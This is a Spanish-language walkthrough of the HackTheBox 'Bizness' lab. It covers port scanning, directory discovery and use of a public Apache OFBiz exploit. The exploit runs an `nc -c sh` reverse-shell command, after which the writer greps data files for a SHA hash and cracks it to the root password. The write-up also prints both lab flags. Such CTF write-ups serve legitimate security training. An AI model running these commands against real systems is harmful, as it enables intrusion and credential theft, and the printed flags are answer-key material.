# Bizness HackTheBox ### Escaneo de puertos ```shell nmap -p- --min-rate 5000 -sV ``` Info: ``` Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-08 05:40 EDT Nmap scan report for bizness.htb (10.10.11.252) Host is up (0.036s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA) | 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA) |_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to https://bizness.htb/ |_http-server-header: nginx/1.18.0 443/tcp open ssl/http nginx 1.18.0 | tls-nextprotoneg: |_ http/1.1 |_http-server-header: nginx/1.18.0 |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK | Not valid before: 2023-12-14T20:03:40 |_Not valid after: 2328-11-10T20:03:40 |_http-trane-info: Problem with XML parsing of /evox/about |_http-title: BizNess Incorporated | tls-alpn: |_ http/1.1 46287/tcp open tcpwrapped Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.47 seconds ``` Si entramos en el puerto `443` al igual que en el `80` aparecera una pagina... ### gobuster o dirb ```shell gobuster dir -u : -w ``` ```shell dirb https://:/ ``` Nos descubrira `/accounting/` y si nos metemos ahi nos metera en un panel de login... Vemos que es vulnerable con un exploit de GitHub `Apache OFBiz` en la siguiente URL: URL: En la pagina principal con esta herramienta detectamos que es vulnerable, por lo que si nos hacemos una Reverse Shell funcionara aprovechando este exploit... Con esto verificamos que sea vulnerable... ```shell python3 exploit.py --url https://: ``` Con esto hacemos la Reverse Shell... ```shell python3 exploit.py --url https://: --cmd 'nc -c sh ' ``` ```shell nc -lvnp ``` Vamos a la home de este usuario y leemos la primera flag: > user.txt (flag1) ``` 71f58d65f5f3d731e39c92bd7870e427 ``` ### Escalada de privilegios Si vamos a `/opt/ofbiz/` tendremos que investigar por ahí algun archivo llamado AdminLog... y observarlo con `cat`, viendo dentro de el archivo veremos que hay un formato de `hash` Si ponemos el siguiente comando para buscar por el formato de cifrado en ese directorio donde se puede encontrar el `SHA` ```shell grep -a -o -R '\$SHA\$' ``` Nos aparecerán los `.dat` que son interesantes, haciendo lo siguiente veremos todos ellos y la clave que queremos conseguir se encontrara a lo ultimo... ```shell grep -a -R '\$SHA\$' ``` Encontramos este formato: ``` $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I ``` Si lo crackeamos con un script de python en concreto de github: URL: ```shell python3 OFBiz-crack.py --hash-string '$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I' --wordlist ``` Info: ``` [+] Attempting to crack.... Found Password: monkeybizness hash: $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I (Attempts: 1478438) [!] Super, I bet you could log into something with that! ``` La password de root seria `monkeybizness` Una vez dentro leemos la ultima flag siendo la de root... > root.txt (flag2) ``` f85a0d868944b0bd87cd48124291be4f ```